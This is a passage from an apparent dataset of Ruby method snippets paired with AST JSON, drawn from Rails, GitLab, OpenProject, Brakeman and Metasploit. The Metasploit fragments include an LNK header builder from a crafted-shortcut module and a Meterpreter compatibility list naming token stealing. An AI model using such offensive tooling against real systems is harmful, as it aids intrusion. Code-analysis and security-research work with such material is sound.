\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"join\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"</span>\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@original_exception_handler\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"exception\"]},{\"type\":\"lvar\",\"children\":[\"locale\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"9f656895-0d19-4f2b-afe6-041ded6296b5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fileformat/datablock_padding_lnk.rb","start_line":85,"raw_source":"def create_shell_link_header\n    header = ''.force_encoding('ASCII-8BIT')\n    header << [0x0000004C].pack('V')\n    header << [0x00021401].pack('V')\n    header << [0x0000].pack('v')\n    header << [0x0000].pack('v')\n    header << [0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('C8')\n\n    link_flags = 0x00000004 | 0x00000020 | 0x00000040 | 0x00000080 | 0x00000200 | 0x02000000\n\n    header << [link_flags].pack('V')\n    header << [0x00000000].pack('V')\n    header << [0x00000000, 0x00000000].pack('VV')\n    header << [0x00000000, 0x00000000].pack('VV')\n    header << [0x00000000, 0x00000000].pack('VV')\n    header << [0].pack('V')\n    header << [0].pack('V')\n    header << [0x00000007].pack('V')\n    header << [0].pack('v')\n    header << [0].pack('v')\n    header << [0].pack('V')\n    header << [0].pack('V')\n\n    header\n  end","complexity_score":51.65,"ast_json":"{\"type\":\"def\",\"children\":[\"create_shell_link_header\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"force_encoding\",{\"type\":\"str\",\"children\":[\"ASCII-8BIT\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[76]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[136193]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"v\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"v\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[192]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[70]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C8\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"link_flags\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"|\",{\"type\":\"int\",\"children\":[32]}]},\"|\",{\"type\":\"int\",\"children\":[64]}]},\"|\",{\"type\":\"int\",\"children\":[128]}]},\"|\",{\"type\":\"int\",\"children\":[512]}]},\"|\",{\"type\":\"int\",\"children\":[33554432]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link_flags\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"VV\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"VV\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"VV\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[7]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"v\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"v\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"lvar\",\"children\":[\"header\"]}]}]}","id":"70bdc80e-3db4-449d-824b-62316217b73b"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/activerecord/polymorphic_routes_test.rb","start_line":430,"raw_source":"def test_nesting_with_array_containing_singleton_resource_and_format\n    with_test_routes do\n      @project.save\n      @task.save\n      assert_equal \"http://example.com/projects/#{@project.id}/bid/tasks/#{@task.id}.pdf\", polymorphic_url([@project, :bid, @task], format: :pdf)\n    end\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nesting_with_array_containing_singleton_resource_and_format\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_test_routes\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"save\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@task\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"http://example.com/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"/bid/tasks/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@task\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\".pdf\"]}]},{\"type\":\"send\",\"children\":[null,\"polymorphic_url\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"sym\",\"children\":[\"bid\"]},{\"type\":\"ivar\",\"children\":[\"@task\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"pdf\"]}]}]}]}]}]}]}]}","id":"4d71a0b0-3a61-4c05-8224-8813f384ffaa"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/odoo/client.rb","start_line":57,"raw_source":"def convert_to_json_schema(fields)\n        json_schema = {\n          \"type\" => \"object\",\n          \"properties\" => {}\n        }\n        fields.each do |field|\n          column_name = field[1][\"name\"]\n          type = field[1][\"type\"]\n          json_schema[\"properties\"][column_name] = {\n            \"type\" => type\n          }\n        end\n        json_schema\n      end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"convert_to_json_schema\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fields\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json_schema\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"object\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"properties\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"column_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_schema\"]},\"[]\",{\"type\":\"str\",\"children\":[\"properties\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"column_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"json_schema\"]}]}]}","id":"321dfe7b-109f-4157-b06a-8cf3e874c86e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/password/cpassword_decrypt.rb","start_line":100,"raw_source":"def print_error(msg='')\n  $stderr.puts \"[-] #{msg}\"\nend","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"print_error\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[-] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}","id":"db75be00-78dc-41a6-abd2-4bacf79f7bc2"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/i18n_validation_test.rb","start_line":476,"raw_source":"def test_validates_with_message_symbol_must_translate_per_model\n    I18n.backend.store_translations \"en\", activemodel: { errors: { models: { person: { custom_error: \"I am a custom error\" } } } }\n    person_class.validates_presence_of :title, message: :custom_error\n    @person.title = nil\n    @person.valid?\n    assert_equal [\"I am a custom error\"], @person.errors[:title]\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_with_message_symbol_must_translate_per_model\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"backend\"]},\"store_translations\",{\"type\":\"str\",\"children\":[\"en\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"activemodel\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"models\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"person\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_error\"]},{\"type\":\"str\",\"children\":[\"I am a custom error\"]}]}]}]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"person_class\"]},\"validates_presence_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"sym\",\"children\":[\"custom_error\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@person\"]},\"title=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@person\"]},\"valid?\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"I am a custom error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@person\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]}]}","id":"b89a1c40-0f0e-4c0c-a86f-82cdd2dab176"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/priv.rb","start_line":28,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              stdapi_railgun_api\n              stdapi_registry_open_key\n              stdapi_sys_config_getsid\n              stdapi_sys_config_steal_token\n              stdapi_sys_config_sysinfo\n              stdapi_sys_process_get_processes\n            ]\n          }\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_railgun_api\"]},{\"type\":\"str\",\"children\":[\"stdapi_registry_open_key\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_config_getsid\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_config_steal_token\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_config_sysinfo\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_process_get_processes\"]}]}]}]}]}]}]}]}]}]}]}","id":"8d1daf8b-86fd-4faf-ad7f-6ce9c28e8fb9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/alert_management/payload/base.rb","start_line":118,"raw_source":"def gitlab_fingerprint\n          strong_memoize(:gitlab_fingerprint) do\n            next unless plain_gitlab_fingerprint\n\n            Gitlab::AlertManagement::Fingerprint.generate(plain_gitlab_fingerprint)\n          end\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"gitlab_fingerprint\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"gitlab_fingerprint\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plain_gitlab_fingerprint\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AlertManagement\"]},\"Fingerprint\"]},\"generate\",{\"type\":\"send\",\"children\":[null,\"plain_gitlab_fingerprint\"]}]}]}]}]}","id":"6453c674-f518-494b-a00c-97b75690c5d4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/rmi/model/return_data.rb","start_line":46,"raw_source":"def encode_stream_id\n            [stream_id].pack('C')\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_stream_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stream_id\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]}","id":"5854bd2c-2105-4915-8d3c-18a25092ffa0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/asynchronous_queries_tracker.rb","start_line":22,"raw_source":"def finalize(wait = false)\n        @active.make_false\n        if wait\n          # Wait until all thread with a read lock are done\n          @lock.with_write_lock { }\n        end\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"finalize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"wait\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@active\"]},\"make_false\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"with_write_lock\"]},{\"type\":\"args\",\"children\":[]},null]},null]}]}]}","id":"8e94e9f5-9525-41f7-ae00-c69306204af3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/task_scheduler.rb","start_line":264,"raw_source":"def check_compatibility\n          # Check Windows version to make sure we will use the correct supported command flags\n          # - `schtasks.exe` on Windows prior to Windows Server 2003 SP1 has\n          #   some different `/create` option flags.\n          # - `schtasks.exe` on Windows prior to Vista has some\n          #   different `/query` option flags - set @old_os to true\n          # Also, on these OSes, `reg.exe` does not support the `/reg:64` flag.\n\n          @old_schtasks = false\n          @old_os = false\n\n          version = get_version_info\n          if version.build_number < Msf::WindowsVersion::Vista_SP0\n            @old_os = true\n            if version.build_number < Msf::WindowsVersion::Server2003_SP1\n              @old_schtasks = true\n            end\n            if datastore['ScheduleRemoteSystem'].present?\n              log_and_print(\n                '[Task Scheduler] This OS version does not support remote schedule tasks. This is likely to fail.',\n                level: :warning\n              )\n            end\n          end\n        end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_compatibility\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@old_schtasks\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@old_os\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"get_version_info\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"build_number\"]},\"<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"WindowsVersion\"]},\"Vista_SP0\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@old_os\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"build_number\"]},\"<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"WindowsVersion\"]},\"Server2003_SP1\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@old_schtasks\",{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ScheduleRemoteSystem\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"log_and_print\",{\"type\":\"str\",\"children\":[\"[Task Scheduler] This OS version does not support remote schedule tasks. This is likely to fail.\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]}]}]},null]}]},null]}]}]}","id":"e4ad5226-38c4-4a87-8eb3-23573aa770f3"}
{"repo_name":"aasm","file_path":"./repos/aasm/spec/models/callbacks/private_method_multiple.rb","start_line":5,"raw_source":"def initialize(options={})\n      @fail_event_guard = options[:fail_event_guard]\n      @fail_transition_guard = options[:fail_transition_guard]\n      @log = options[:log]\n      reset_data\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@fail_event_guard\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"fail_event_guard\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@fail_transition_guard\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"fail_transition_guard\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@log\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"log\"]}]}]},{\"type\":\"send\",\"children\":[null,\"reset_data\"]}]}]}","id":"73965a0e-8a60-4b14-a6d9-aebc7cc7eb5e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/shares/project_queries/project_access_warning_component.rb","start_line":51,"raw_source":"def query_is_shared?\n        @strategy.entity.members.any?\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"query_is_shared?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@strategy\"]},\"entity\"]},\"members\"]},\"any?\"]}]}","id":"585110b9-e7d0-4fa5-96f1-539f2d58c9e6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/alter_cell_sequences_range.rb","start_line":106,"raw_source":"def with_lock_retries(&)\n        Gitlab::Database::WithLockRetries.new(\n          connection: connection,\n          logger: logger\n        ).run(raise_on_exhaustion: false, &)\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_lock_retries\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"WithLockRetries\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection\"]},{\"type\":\"send\",\"children\":[null,\"connection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"logger\"]},{\"type\":\"send\",\"children\":[null,\"logger\"]}]}]}]},\"run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise_on_exhaustion\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"1c0fb44f-5f81-4970-ba46-9c3c734a673c"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_output_as_buffered.rb","start_line":119,"raw_source":"def write(chunk)\n      @write ? @write.call(chunk) : nil\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@write\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@write\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"chunk\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"b1bc4856-bdbd-47a4-a8b1-58b0cd06666d"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/github_integration/app/workers/cron/check_deploy_status_job.rb","start_line":159,"raw_source":"def introspection_request(host, api_token)\n      OpenProject.httpx.basic_auth(\"apikey\", api_token).get(\"https://#{host}/api/v3\")\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"introspection_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]},{\"type\":\"arg\",\"children\":[\"api_token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"httpx\"]},\"basic_auth\",{\"type\":\"str\",\"children\":[\"apikey\"]},{\"type\":\"lvar\",\"children\":[\"api_token\"]}]},\"get\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\"/api/v3\"]}]}]}]}","id":"aa8fa016-8851-4c5a-95e0-161fe6634758"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/json_output.rb","start_line":45,"raw_source":"def test_for_scan_info_keys\n    info_keys = [\"app_path\", \"rails_version\", \"security_warnings\", \"start_time\", \"end_time\", \"duration\",\n                 \"checks_performed\", \"number_of_controllers\", \"number_of_models\", \"number_of_templates\",\n                 \"ruby_version\", \"brakeman_version\"]\n\n    assert (@@json[\"scan_info\"].keys - info_keys).empty?\n  